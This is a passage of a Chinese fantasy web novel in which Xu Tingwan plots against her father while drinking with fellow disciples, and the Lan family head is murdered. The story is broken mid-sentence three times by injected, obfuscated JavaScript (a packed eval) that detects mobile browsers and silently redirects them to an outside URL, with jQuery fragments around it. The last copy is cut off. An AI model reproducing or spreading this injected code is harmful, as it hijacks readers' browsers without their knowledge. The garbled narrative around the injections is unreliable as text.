徐听晚闻言,轻轻叹了口气。她知道,了解这件事的人都会这样问她。其实,她也并非毫无私心,只是她的选择恰好是正确的。 “父亲和母亲曾密谋——要吞噬我。我不想每天生活在恐惧之中,不想像古忆南那样,拥有绝佳天赋却默默无闻地死去。我也不希望我的父亲继续坐在那个位置上,否则只会让更多人受到伤害。如果我坐上那个位置,绝不会像他那样!” 徐听晚的话语一字一句地落在其余三人心中,他们从未想过父母会如此对待自己的孩子,更没有人有胆量像她一样,公然宣称自己要坐上掌门之位。 温苏微微颔首,沉声道:“古忆南乃是我挚友,为他报仇自是理所应当。我会助你一臂之力,想必你告知我如此多内情,定是有事相求。” 徐听晚轻笑一声,赞道:“不愧是温前辈,果然心思敏锐。我想请你借助黑阁遍布大陆的线人,将那个能让母亲心生恐惧的秘密传播出去,让她自乱阵脚。父亲对此秘密一无所知,我也想瞧瞧,若他知晓了这个秘密,是否还能维持那文质彬彬的气度,会不会露出破绽。” 温苏再次点头,应允道:“好计谋!你与我之间,若有要事,可通过书卷联系。” 四人商议妥当后,温乐天、徐听晚与江月平便前往梅家养伤。 温苏则利用黑阁的力量,暗中仔细探查徐君彦与林流华的消息,同时依照徐听晚的计策,传播林流华被囚禁生子的谣言,以此混淆视听。 她从未料想过,古忆南竟会是死于徐君彦之手。那个如霁月般清朗、风采照人的少年徐君彦,曾是多少修士心中的一抹皎洁月光。 而他的女儿,倒是继承了他外表所装出的那份意气风发。 在驶向梅家的云舟之上,徐听晚向温乐天提出了一个问题。 “乐天,你对陆若音是否心生欢喜?” 见他一路上不同往日活泼,只是默默凝视着天空,未曾言语,徐听晚不禁问出了心中的疑惑。 彼时,温乐天并未直接回应,只是轻轻摩挲着腰间的白茶花香囊。 直至云舟即将抵达梅家城,他才缓缓走到徐听晚面前,沉声道:“大师姐,这一路我都在思索。” “其实,我对陆若音的情感如何,对她而言并不重要。重要的是,她已成为自己心中的英雄。 喜欢,或许太过浅显;而爱,又显得太过深沉。若我此刻随意表露心迹,恐怕会掩盖她在书卷中英雄的光芒,为自己徒增一个深情的虚名,这是我所不愿的。 我更希望,除了我之外,还有更多人能够铭记她的英勇。” 徐听晚闻言,似有所悟地点了点头。温乐天的话语让她感到惊讶。 三人一同沐浴在夏日大雨后的清风之中,感受着这份难得的宁静。 转眼间,又是一年将近秋时。 31.梅家城 “大师姐!小师妹!”柳清云早早地便在云舟停泊之处等候,瞧见他傻乎乎地睁着大大的眼睛,满含期待地望着这边时,徐听晚不禁忍俊不禁。 她这一笑,倒让柳清云身旁的石观明与梅问君微微一愣。梅问君觉得如此直勾勾的眼神似乎有些不妥,便悄然移开了目光。而石观明则是凝视着徐听晚的双眸,嘴角勾起一抹浅笑。 梅家城的百姓们纷纷对这六人投来好奇的目光,频频侧目围观。 “清云,你若是不去与你三师兄打招呼,怕是要伤了他的心呢。”徐听晚调侃着推了推一旁的温乐天,温乐天也十分配合地做出一副失落模样,低着头。 柳清云心中一软,认真起来,轻声喊道:“三师兄……唉!”可他话还未说完,便被温乐天一把扼住了脖子。 “四师弟,你伤了我的心,若是不请我喝上几杯梅家城的青梅酒,我可是不会轻易原谅你的!”温乐天故作委屈地说道。 闻言,柳清云无奈地扯了扯嘴角。而徐听晚则站在一旁,捂嘴轻笑。 突然,远处的行人纷纷避让,一道身着绿色衣衫的男子身影如风般飞驰而来,他的身后紧跟着一位身着浅紫色衣裙的女子身影。 “站住!你身为兰家之人,为何擅自闯入我们梅家!说!你究竟有何目的!”女子的声音坚定而响亮,中气十足,透露出不容置疑的威严。 “你怎么就不肯听人说话呢?我是听说你哥哥回来了,特意赶来与他一同饮酒的!”绿色衣衫的男子辩解道。 “不许你和我哥哥喝酒!每次你们俩喝完酒,耍酒疯的烂摊子都是我来收拾,你给我滚出去!”女子毫不留情地呵斥道。 “梅兄!”绿色衣衫的男子边说边往梅问君身后一闪,而那位手持捣药杵的女子在撕下极速符后,脚步猛地一顿,却已无法停下,身体不由自主地向前飞去,径直落入了一个温暖的怀抱。 徐听晚本能地接住了冲过来的女子,低头温柔地看向她,轻声安慰道:“没事吧?你叫什么名字?发生了什么事?我可以帮你。” “徐……听晚!!”女子激动地跳了起来,一把抱住了徐听晚的脖子。 徐听晚有些手足无措地扶着女子的胳膊,轻声说道:“别激动,慢慢说。” “我看了你在秘境中的录像,简直太帅了!!”女子兴奋地说道。 “呵呵,过奖了。”徐听晚浅笑着回应,轻轻拍了拍女子的后背。 女子猛地松开了手,不好意思地往后退了几步,然后举起手,恭敬地递到徐听晚面前,说道:“抱歉失礼了,我是梅家的少家主梅遇卿。” 徐听晚伸出手,礼貌地与梅遇卿相握。 “卿卿~” 闻声,梅遇卿立刻侧头,瞪向那出声的男子。 “君君救我,你妹拿着她捣药的木棍,说要打死我呢。” 梅问君一脸嫌弃地推开他,说道:“我们这有客人在,别闹了,自己回兰家去。要是父亲看见你来了梅家城,还不知道要在书卷上和兰老家主争执多久呢。” 男子眨了眨眼,一脸委屈地说:“我这次可不是单单来喝酒的。听说徐道友已经突破至元婴期,要来梅家城与师弟汇合。徐掌门特地派我来接你,你父亲现在就在兰家,和我祖父在一起呢。” 闻言,徐听晚脸色一变,思索片刻后说道:“我会用书卷向父亲说明原因,此事你就别管了。” “哦。”男子应了一声。 “对了,你叫什么名字?”徐听晚问道。 “兰家少家主,兰望溪。”男子回答道。 徐听晚打开书卷,给父亲传讯:父亲,兰家少家主已经告知我您的消息。我虽已突破金丹,到达元婴期,但在上北城斩杀魔修时受了重伤。现有朋友邀请我来梅家养伤,很遗憾现在不便过去与您相见。 发完消息后,其他人已经约定好去青梅院品尝青梅酒。 “大师姐,你意下如何,是否同行?”温乐天轻轻挑起眉梢,眼中闪烁着对大师姐饮酒后模样的好奇与期待。 徐听晚低头瞥见书卷上父亲传来的简短三字“已知晓”,心中顿时松了一口气,微微颔首。她想,饮酒或许能让自己紧绷的神经稍稍放松些。 忽地,她似是想起了什么,转而看向身旁沉默不语的江月平,柔声道:“月平,你可有兴致一同前往?若你不愿,大师姐便也不去了,陪你前往梅家安排的院落整理行李。” 她心中颇为纠结,内心极欲前往,但若是小师妹不去,众人皆去,唯她一人随梅家下人前往住处,未免显得孤单。 世家城池与宗门城池大相径庭,世家之中,每个人皆有登记,不可随意增添人员。 购置宅院亦需世家管理之登记,方能在城中拥有属于自己的院落。 故而,她们此刻只能暂居梅家安排的院落之中。 “我去。”江月平望着徐听晚那双充满渴望的眼眸,心中暗自轻笑。 “那便好,那便好!”温乐天闻言,开心地揽着柳清云的肩膀,激动地说道,“听闻这青梅酒甘甜爽口,与其他酒的辛辣截然不同,让人在不知不觉中便沉醉其中。” 石观明轻轻叹了口气,储物袋中的浅云按捺不住激动的心情,探出头来。这条小白龙性情活泼,天真烂漫,岁月变迁,依旧保持着孩童般的心性。 它对世间万物皆充满好奇,什么都想尝一尝、看一看、听一听、闻一闻。 六人尾随梅遇卿步入一座名为青梅院的所在,尚未入院,那浓郁的酒香便已扑鼻而来,令人垂涎。 梅遇卿介绍道:“此乃梅家城内规模最大的酒窖,内设雅间,今日我做东,定要让大家喝个痛快!” 言毕,她豪迈地拍了拍胸脯,并朝徐听晚投去一瞥。徐听晚心领神会,回望以点头致谢。 阳光下,梅遇卿头戴的少家主银冠熠熠生辉,吊坠上缠绕着浅紫色的绒毛,与她一身浅紫衣裙相得益彰,温婉中不失端庄。周身环绕的朝阳之气,使得浅紫轻纱微微发亮,更衬得她意气风发,好一位明媚少女。 “多谢梅道友。”徐听晚与众人一同道谢。此时,兰望溪嬉皮笑脸地凑上前来,却被梅遇卿轻轻一拍,推向了一旁。 她轻声笑道:“这次算你运气好,能跟着一起来享受这美酒。” 兰望溪捂着被推开的脸颊,笑嘻嘻地说道:“卿卿,你真好。” 梅遇卿瞪了他一眼,随即转身与店小二交涉,迅速定下了包间。 众人落座包间,有温乐天和兰望溪在,气氛自然热闹非凡,欢声笑语不断。 徐听晚端坐在江月平身旁,眼眸低垂,陷入了沉思。她心中暗自思量,既然父亲一直在设法监视她,这无疑表明他已深信不疑她的言辞,正静候她对江月平采取行动。如此一来,她目前尚有价值,处于相对安全之境。 而今,她亟需筹谋的是,如何在父亲的严密监视之下,悄然汇聚起自己的力量。 恰在此时,坐在徐听晚另一侧的梅遇卿猛然起身,伸手捂住了兰望溪的嘴,笑道:“你们这是在互相揭短吗?记得你小时候,还带着我和我哥去摘你祖母坟头上的红柿烤着吃,结果一不小心,把你祖母坟头以及旁边你父母坟上的草都烧了个精光,为此你还被兰老家主吊着打了一个时辰呢。” 梅遇卿这一起身,不经意间撞到了徐听晚,使得徐听晚与江月平的肩膀轻轻相触。 徐听晚抬头望向江月平,二人目光交汇,江月平并未闪避,徐听晚也忘了移开视线,两人就这样僵持了片刻。 直至包间的门被推开,两人这才慌忙分开。 毕竟,若眼神不对,即便是肩与肩的轻轻触碰,也会让人觉得是一种冒犯。 店小二将一篮青梅酒提了上来。 兰望溪瞪大了眼睛,忍不住感叹道:“梅少家主真是出手阔绰啊!还记得你小时候傻呼呼的,将青梅酒当作甜水,一口气喝了一整壶,整个人醉得迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043002|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷糊糊的。那时候,你母亲还偏说我祖父给你的灵草汁液下了毒呢。” 梅遇卿嘴角微微上扬,带着几分戏谑道:“我们还要这样互相揭短吗?那我可就不客气了!” 兰望溪耸了耸肩,毫不在意地拿起一壶青梅酒,仰头灌入口中。 “哼哼,小时候我把哥哥打扮成女孩子,结果你一见到我哥,便迫不及待地跑回去要求娶他。后来得知我哥是男孩子后,你那副表情,真是笑死我了。” 闻言,梅问君嫌弃地瞥向一旁,却意外地被带着浅笑、安静聆听的徐听晚所吸引。他的眼神中暗含着诸多情绪,其中最为明显的便是羡慕。 为何会羡慕呢?徐道友父母双全,又是宗门亲传的大师姐和掌门之女,身份尊贵 梅问君心中暗自思量,却难以捉摸透那眼神背后的深意。 徐听晚察觉到他的注视,微微点头,以示回应。 石观明与柳清云细心地将酒杯与酒分配妥当,众人随即端起,仰头一饮而尽。唯有柳清云,略显胆怯,只浅尝了半杯。其余人等,皆是豪饮整杯,毫不含糊。 石观明见状,连那探头讨酒喝的浅云也未落下,同样喂了它一杯。 半杯下肚的柳清云,顿时感到一阵眩晕,身子不由自主地趴在桌上,嘴里呢喃着:“让我小憩片刻,有些乏了。” 兰望溪见状,拎起酒壶,踱步至柳清云身旁,笑道:“小兄弟,你这酒量可不行啊,半杯就倒。”言罢,他又仰头灌了一口酒。 梅遇卿闻言,眉头紧锁,反驳道:“兰望溪,你少在这里逞能。人家本就不会喝酒,你有本事就和我较量一番。” 兰望溪被酒精冲昏了头脑,眉头一皱,挑衅道:“比就比,谁怕谁。” 说罢,两人目光交汇,各自斟满酒杯,你一杯,我一杯,交替对饮,气氛紧张而热烈。 饮下这杯酒,徐听晚顿觉身心舒畅,心中的话语也忍不住涌到了嘴边。 她轻步移至江月平面前,微微歪头,目光直视对方的眼睛,诚恳地说:“我连编制都能考上,像我这样有毅力的人,无论做什么都会成功的。月平,你要不要和我一起,上我这艘船?” 江月平一时没明白她的话,眉头微蹙,不由自主地往后缩了缩脖子,只因两人此刻的距离实在太近了。 “江月平,你可别不识好歹,我这可是一条难得的好船,你到底上不上?”徐听晚一边说着,一边又凑近了些。她的话让在场的人都感到莫名其妙,而江月平更是感受到了她温热的气息,脸颊瞬间红了大半。 “月平,你好像醉了。听人说一喝酒就上脸的人,不能喝太多酒。”徐听晚伸手去抢江月平手中的酒杯,却被江月平灵巧地躲过,反而一下子扑在了她的身上。 “大师姐,我真的没醉。”江月平感受着徐听晚身上的温暖,侧过头去,不敢与她对视,心中默默念叨:她是你的妹妹,她是你的妹妹…… 徐听晚轻轻戳了戳她泛红的脸颊,笑道:“喝醉的人都说自己没醉,你看你的脸都红成这样了,还说没醉?” 随后,徐听晚越发大胆起来,揽住江月平的肩膀,将头靠在她的胳膊上,安慰道:“月平,别担心,有大师姐在,我定会护你周全。” 见她缓缓闭上眼睛,江月平误以为她是醉酒后陷入了沉睡。然而,不过片刻,徐听晚又睁开了双眸,面无表情地盯着桌上的酒杯,一杯接一杯地将其中的酒液倒入自己口中。 她那惊人的饮酒速度瞬间吸引了全场人的目光,就连原本在激烈比拼的两人也不由自主地停下了手中的动作,转而全神贯注地注视着埋头狂饮的徐听晚。 徐听晚的面色依旧如常,一杯接着一杯地喝着,只是眼底已泛起了片片红晕。 无论是哪个世界的自己,心中总是藏着诸多不甘与委屈。 她不能停下,因为猜测与思索已耗费了她太多的心力。难得放松她十分珍惜,不知为何感到了一丝麻木。 32.青梅酒 酒液沿着喉咙缓缓滑落,直抵心间,徐听晚沉默不语,只是默默地低头饮酒。她烦躁地用手撑着头,发丝仿佛蕴含着灵力,缠绕在指缝之间。 她在心中默默盘算着所有可能发生的变故,众多人名如走马灯般在脑海中闪过。下一步该如何行动?那些与她同行之人的生死又该如何权衡? 倘若徐君彦与林流华反目成仇,那么林家是否也可以成为她的筹码?她手中握着的那张刺杀纸条,既可以用来威胁林家,牵制林流华,又可以作为与叶家周旋的筹码。 然而,这样的做法无疑太过冒险,稍有不慎便可能引火烧身。但她深知,自己必须拥有即便徐君彦狡辩脱罪,也能与之抗衡的力量。 只有手中握有的筹码越多,她才能在这个纷繁复杂的世界中站稳脚跟。 随着一杯接一杯的酒液滑入喉间,徐听晚的眼神愈发锐利,思绪也愈发条理分明 突然间,窗外传来一声震耳欲聋的雷鸣,众人的视线纷纷从徐听晚身上移向窗外,这才惊觉不知何时天空已乌云压顶,电闪雷鸣。 徐听晚凝视着天际划过的闪电,再次仰头,一杯酒尽入腹中。 她并不急躁,深知温苏不会轻易按她的意愿行事,定会自行调查一番。依据她所提供的线索,以黑阁的实力,应当能挖掘出更多证据。 父亲,我不信你毫无筹谋,你的贪婪终将助我登上高位。 徐听晚轻笑一声,再次斟满酒杯,一饮而尽。 此时,远处的徐君彦听着隆隆雷声,腰间的紫兰花香囊突然断裂,他低头望向沾满鲜血的手,欲捡又止,随即甩出一张烈火符,将香囊点燃,踢向一旁的兰家家主尸体。 刹那间,火光冲天,然而在外人眼中,庭院依旧一片寂静。徐君彦悄然走到墙边,将一块阵盘丢弃。 随后,他匆匆离去。直至阵法消散,无法遏制的大火才暴露在众人眼前。 酒窖这边,众人的目光再次聚焦于仰头饮酒的徐听晚身上。 她依旧沉浸在自己的思绪中,毫无察觉:父亲在兰家如此张扬,应当不会轻举妄动。 但若他早已蓄谋已久,做好了周全的打算呢? …… 像他这样的人,绝不会做无谓之举,那么他究竟图谋什么? …… 兰家阵法严密,若他真下了杀手,别人也不会怀疑他人,只会怀疑他。他若真杀人,岂不是毫无收益…… 他究竟意欲何为?徐听晚苦思冥想,仍不得其解,只好再次端起一杯青梅酒,一饮而尽。 兰家应该没事吧…… “大师姐,别再喝了。”石观明皱着眉,语气中带着一丝恳求。 连温乐天也微微蹙起眉头,脸上写满了担忧。 徐听晚恍惚间回过神来,晕晕乎乎地揉了揉脑袋,随后缓缓放下了手中的酒杯。 “嗯……”她轻声回应,声音中带着一丝疲惫。 兰望溪激动地撑着桌子,目光炯炯地看向她,赞叹道:“徐道友真是好酒量!” 徐听晚勉强抬起头,却猛地扑通一声,倒在了桌面上。一旁的梅遇卿眼疾手快,连忙扶住她,急切地说道:“我送她回去休息吧。” 江月平迅速抓住徐听晚的手臂,坚定地说道:“还是我来扶着她。” 对上江月平的眼神,梅遇卿点了点头,松开手,同时将一颗安神丹药塞进了江月平的口中,解释道:“我带你们去院落,这丹药有安神的功效,能防止她因头痛而难以入眠。” 石观明也连忙扶起一旁已经醉得不省人事的柳清云,说道:“我和你们一起。” 温乐天紧跟在他们身后,喊道:“等等我,我也一起去!” 此时,桌上只剩下梅问君和兰望溪两人。梅问君无奈地叹了口气,将账单结清后,起身准备离开。 桌上的酒水已被徐听晚饮去了大半,兰望溪猛地拽住他的衣袖,恳切说道:“梅兄,何不陪我一同饮余酒?此番相聚实属难得,下次重逢又不知何时。” 梅问君眉头紧锁,劝道:“你还是尽早回去吧。” 兰望溪低头,满脸困惑地问道:“梅兄,为何你并非梅家少家主?为何家主之间不能相伴相守?” 梅问君轻叹一声,缓缓坐下,望着兰望溪一杯接一杯地将酒饮尽。 “其实我并不嗜酒,但梅家美酒闻名遐迩,我实在想不出其他理由来看她。” 梅问君声音低沉地说道:“我并非丹修,无法继承梅家。我妹妹才情出众,品行端正,处事得体,是家主之位的不二人选。” 兰望溪眉头紧蹙,反驳道:“往昔,不也有本家修行的家主吗?” 梅问君一把揪住他的衣领,怒道:“你是质疑我妹妹的能力?” 兰望溪眼眶泛红,神情恍惚地摇了摇头,哽咽道:“若我质疑她,便不会在她蒙面行医修行时对她心生爱慕。我喜爱她写在丹药上的细致叮嘱,喜爱她为生病孩童讲述的安慰故事,更喜爱她因采药被妖兽所伤后,那满脸的不屈与坚韧。” “她会成为一位出色的家主,而你们之间绝无可能。” 梅问君的话语如同寒冰之刺,击碎了兰望溪心中所有的美好回忆。 掌门与掌门,家主与家主,亦或是掌门与家主,皆无法携手相伴。一旦选择成为家主或掌门,便意味着要放弃彼此。 江月平将徐听晚温柔地背在身后,梅遇卿见状欲上前相助,却被她轻轻摆手制止,只好默默地为两人撑起一把伞。 另一边,石观明也高举着伞,让浅云缠着柳清云,一同紧跟在旁。 温乐天则安静地走在队伍的最后,嘴里小声嘀咕着:“这酒真不错,带上两瓶,等到了上北城,也让白茶尝尝。” “好累。”徐听晚轻声细语,雨声淅沥,几乎掩盖了她的声音。梅遇卿只能看到她嘴唇微动,却听不清言语,唯有与她近在咫尺的江月平捕捉到了那微弱的两个字。 江月平将头贴近徐听晚的耳畔,一边努力维持着步伐与伞的平衡,确保她不被雨水打湿,一边安静聆听她的低语。 酒精让她的身体微微发热,灵力也随之变得涣散。此刻的她,没有灵力的庇护,一旦淋雨,极易染上风寒。 很累吗……江月平心中暗自思量,不动声色地用头轻轻蹭了蹭徐听晚的发丝,两人的头紧紧相依,到底是赎罪和折磨,还是两人间的不舍。 徐听晚缓缓睁开双眸,熟悉的触感让她不由自主地紧紧拥抱着身下之人——江月平。 两人的呼吸交织在一起,徐听晚的眼眶不由自主地泛红,她紧闭双眼,试图隐藏即将溢出的泪水。 她在心底默默感叹:像江月平这样的人,理应随心所欲地生活在阳光下,享受自由与快乐。 倘若她也如她一般,失去了慈爱的母亲,饱受欺凌与孤立,恐怕早已变得暴躁而疯狂。 但她毫无野心,始终坚守正义,纯粹地站在正确的一方,毫不犹豫地挥剑为正义发声。 她坚毅果敢的性格,即便只是通过小说中的文字了解,也足以令人动容。而当徐听晚真正与她接触后,更是深刻感受到了她内心的沉静与善良。 江月平不仅会救助曾经与她一同欺负她的石观明,还会帮助自己这个曾经欺负过她的人。 虽然她嘴上说着不原谅,但行为上却始终保持着克制与宽容。 若是她,恐怕早已想尽一切办法了结仇人。 想到这,徐听晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050169|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然觉得她有点傻,傻的令人心疼。 她慢慢睁开眼睛,看着江月平身上被自己揉乱的青色衣裳,不禁露出了微笑。 “月平,如果我们一直这样纠缠不清,你会怨恨我吗?”她轻声在江月平耳边呢喃,即便无法成为挚友,能这样相伴也是好的。 意识到自己说出这句话后,徐听晚不禁开始怀疑自己的性取向。 但无论如何,有江月平在身边,她总是感到格外心安。 江月平并未回应她的话语,只是稳稳地抱住她,继续前行。一旁的梅遇卿好奇地凑上前来,徐听晚转头望向她,嘴角勾起一抹浅笑,说道:“梅道友真是体贴入微,还特意帮我们打伞。” 梅遇卿闻言,笑着点了点头,回应道:“能帮到徐道友,是在下的荣幸。五行道宗一直与兰家合作进行丹药交易,不知徐道友对我梅家有何看法?兰家的丹药种类并不如我梅家全面,而且我们正致力于研发一种能够去除魔气的特制灵药液。一旦此药研制成功,我们在对抗魔修时,将能大幅提升作战能力,避免魔气沾染后使用灵力抵御的消耗。” 徐听晚闻言,微微垂眸,陷入沉思,心中不禁轻笑。她先前在秘境中夺得第一名的成果,终于有了用武之地。 凭借她所展现出的能力和身为掌门之女的身份,外人都会认为,只要修炼途中不出现意外,她必将成为下一任五行道宗的掌门。 然而,外人有所不知,目前她面临的最大威胁便是她的父亲——那个为了提升修为而嗜血的男人。 “很荣幸梅少家主能将此事告知于我,”徐听晚缓缓说道,“我可以过几天拿出一笔灵石来资助,我非常愿意与梅家展开合作。” 两人闻言,不约而同地露出了笑容。 江月平在心中暗自思量,这笔资助可不是小数目,而且极易被人察觉。若是被师父知晓大师姐资助梅家,定会心生疑虑。她有些不解大师姐的用意。 然而,徐听晚自然有她自己的盘算。 送至院落之中,梅遇卿与徐听晚一同整理好书卷。 徐听晚疲惫地躺在床上,细细回味着方才所发生的一切。 梅遇卿邀她共饮,意在深谈此事。 梅家世代以炼丹为主,为人处世温和可亲,长久以来与擅长符箓的王家保持着交易往来。然而,近日却有小道消息称两家关系破裂,没想到这竟是真的。 梅家与兰家,各有千秋。梅家擅长制药,兰家则精于用毒。 梅家售卖丹药只认灵石,不论身份;而兰家则坚决不卖丹药给魔修,因此魔教从未主动招惹过梅家,兰家却因这一原则时常遭到魔修的偷袭。 尽管如此,兰家也因此更加受到世人的推崇,而梅家则相对不那么受世人喜爱。 从梅家研发新药一事便不难看出,他们如今已不愿再维持现状,而是想要重振家族荣光,争夺市场份额。 徐听晚闭目养神,躺在床上继续思索。 梅家、黑阁,以及接下来的林家和叶家,这些势力都将成为她手中的棋子。 如今,她终于有了参与这场棋局、一争高下的筹码。 脚步声缓缓逼近,江月平走到床边,轻轻地将她身体扶正,摘下头上的发簪,细致地揉顺着长发,随后轻轻盖上被子,仔细地掖好被角。 这个院落由三间卧房组成,此次她又与江月平共处一室,情景与之前在客栈时如出一辙,只不过这次,江月平另取了一床被子,静静地躺在了她的身旁。 徐听晚心中忐忑,不敢睁开眼,只能继续假装沉睡,渐渐地,她真的进入了梦乡。 而她浑然不知,这一夜,江月平睁着双眼,侧身凝视了她许久。 “兰家出事了!” 33.死局 徐听晚猛地睁开双眼,迅速起身,只见江月平早已起身,在一旁的躺椅上静静地打坐。 “兰家出事了?”徐听晚一边简单地梳理着发丝,一边拿起梳妆桌上的黄玉银蝶簪,娴熟地插上。 江月平轻声回应道:“有人说是魔修所为,也有人说是王家人干的。” 徐听晚闻言,微微蹙起眉头,追问道:“死的是谁?” “兰家家主,兰逢陵。”江月平答道。 徐听晚听后,紧锁眉头,坐在椅子上陷入了沉思。 “大师姐,我们现在要不要过去帮忙?”江月平开口询问道。 “不能出面。”徐听晚毫不犹豫地回答。 “为何不能?”江月平皱眉看向她。 “先静观其变,”徐听晚沉吟道,“我怀疑这是我父亲所为,他可能是想一石三鸟。” “这是什么意思?那我去叫二师兄他们来。”江月平说道。 徐听晚揉了揉太阳穴,窗外的鸟鸣声此起彼伏,让她愈发烦躁。她猛地起身,用一张爆裂符吓走了鸟儿。 望着四散而飞的鸟儿,她突然恍然大悟。 五人齐聚一屋,徐听晚迅速布下灵力屏障,略作思索后,沉稳地说道:“乐天,你即刻向你母亲传讯,告知她黑阁内部藏有卧底。” 接着,她转过身,目光坚定地望向江月平和石观明:“你们俩前往兰家一趟,调查之事不必过于深入。若偶遇我父亲,便称兰家与五行道宗素来交好,此次听闻兰家遭遇不幸,我特遣你们前来相助。提及我时,就说我伤势严重,元婴尚未稳固,需静心修养,无法亲自前来。” 柳清云满脸好奇,忍不住问道:“那我呢?” 徐听晚微微一笑,答道:“你自然是负责照顾我和乐天,毕竟我们伤势不轻。”说完,她轻轻挑了挑眉。 柳清云似有所悟地点点头,心中暗自决定,一切听从小师妹和大师姐的安排便是。 石观明眉头紧锁,疑惑地问道:“兰家家主之死,与师父有关?” 徐听晚耐心解释道:“他在试探。他此举有三重目的:一是吞噬兰家家主,以图突破化神,达到炼虚之境;二是彻底激化兰家与王家长久以来的争端;三是试探,昨日他故意让兰望溪向我透露他的行踪。” 闻言,其余人均微微眯眼,此番无论是查还是不查,都可能引起怀疑。大师姐的决定,无疑是当前最优的选择。 徐听晚继续说道:“此番引起怀疑的,唯有黑阁消息泄露一事。我父亲应该已经察觉到有人在暗中传播这个秘密,并针对他而来。但他尚不确定幕后黑手是谁,因此在进行试探。而此次试探的对象,或许不止我一人,还包括当年那件事的其他关联者。” 柳清云惊讶地摸了摸肩膀,感叹道:“天呐,这局势怎会如此错综复杂?” 徐听晚却嘴角上扬,自信地说道:“要让谎言成真,就得先圆谎。他此番试探,反而给了我们机会。只要我们洞察了他的意图,那当年与之相关的人,不就自己浮出水面了吗?” 说完,她再次挑了挑眉。此时,江月平站起身,低头看向她,提议道:“我和温乐天换一下。” 徐听晚面露疑惑,但转念一想觉得并无大碍,便点了点头,简洁地回应道:“都可以。” 温乐天声音低沉而坚定地说:“确实,我前去更为合适。如果师父已经掌握了黑阁的内部消息,那他很可能也知晓了我的真实身份。如此一来,我前去便更显得我们对此一无所知。” 徐听晚再次点头,随即问道:“你母亲是否与我母亲曾是朋友?” 温乐天微微一怔,反问道:“你怎会知晓?” 徐听晚平静地答道:“我猜测的。上次提及我母亲所做的事情时,温前辈露出了惊讶的神情。” 温乐天解释道:“我母亲对此一无所知。她告诉我,她们两人曾是儿时的玩伴。但自从我母亲离开温家前往下南城后,两人便失去了联系。因为忙于处理黑阁事务,无暇照顾我,所以她将我托付给了师娘,最终我成为了师父的弟子。” 徐听晚挑了挑眉,质疑道:“你会放心把孩子交给普通朋友照顾吗?” 言罢,众人陷入沉默。徐听晚紧握拳头,指尖在桌面上轻轻敲击,陷入沉思。 片刻后,她展颜一笑,说道:“无妨,既然已经知晓了内鬼之事,想必温前辈自有主张。你母亲或许还隐瞒了一些事情,我等着她亲自用书卷传来消息。” 徐听晚轻轻挥散了灵力屏障,缓步走到窗边,纤细的手指指向窗外一只羽翼洁白的灵鸟,对身旁的温乐天轻声细语道:“我突然想尝尝灵鸟汤的味道,三师弟,能否帮我将它射落下来?” 她以手掩唇,轻轻咳嗽了两声。 温乐天一脸茫然,不明所以地走到她身旁,取出一只普通的弩箭,精准地将那只灵鸟射了下来。 徐听晚见状,突然一把搂住温乐天的脖颈,笑靥如花地说道:“谢谢乐天,你真是太好了!” 温乐天猛然瞪大了眼睛,双手无措地悬在半空,脸上满是惶恐之色。 然而,就在这一瞬间,那只灵鸟竟凭空消失了。 徐听晚松开温乐天,神色平静地说道:“那是我母亲用来传递消息的符鸟。” “大师姐,你刚才……”温乐天欲言又止。 “你总是不在宗门,如今却一直跟在我身边,若是不给个合理的解释,恐怕难以说服那两人。”徐听晚淡淡地说道。 温乐天闻言,长长地松了一口气,拍了拍胸口。 徐听晚微微皱眉,看着他道:“我有那么吓人吗?” “大师姐!我能不怕吗?要是你对我心生爱慕,而我拒绝了你,我怕你会悄无声息地杀了我啊!”温乐天心有余悸地说道。 徐听晚嫌弃地瞥了他一眼。 一旁的江月平暗暗握紧拳头,眼神依旧平静如水。 石观明竭力保持着面颊上那抹浅笑,缓缓伸出手臂,意图揽住温乐天的脖颈,却未忍住,重重地拍了拍温乐天的脑袋,歉意地笑道:“真是抱歉,一时失手,咱们走吧,去兰家瞧瞧。” “二师兄,你这动作,怎么看都不像是失手啊!”温乐天委屈说道。 望着两人渐行渐远的背影,徐听晚轻声道:“我母亲要杀我。” 柳清云闻言,满脸不可思议:“大师姐,你是如何看出的?” “直觉。”徐听晚轻声答道。 江月平心疼地望着徐听晚那立于窗前的孤独背影。徐听晚关好窗户,转身走向江月平,将头轻轻靠在她的肩上,微微一笑:“月平,眼看就要入秋了,我的暖玉花,想必已经落尽了吧。我错过了它的整个花期,日后定要好好弥补。” 江月平轻声安慰:“暖玉花花期本就短暂,或许,早已错过。” 柳清云则在一旁,将些许琉璃粉末与绿色汁液缓缓混合,直至呈现出浅黄之色。他随后取出纸笔,细细勾勒出暖玉花的模样。 徐听晚从江月平肩上抬起头,凑近细看柳清云笔下的暖玉花,忍不住笑出声来:“你画的这,确定是暖玉花?” 柳清云挑眉眨眼,反问:“不像吗?” 徐听晚望着他纯真的眼神,皱了皱眉,尴尬一笑:“我说话难听,就不说了,但我会好好收着的,谢谢清云。” 柳清云失落的目光再次焕发光彩。 江月平接过柳清云的笔,眉眼含笑地在旁绘下自己的暖玉花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 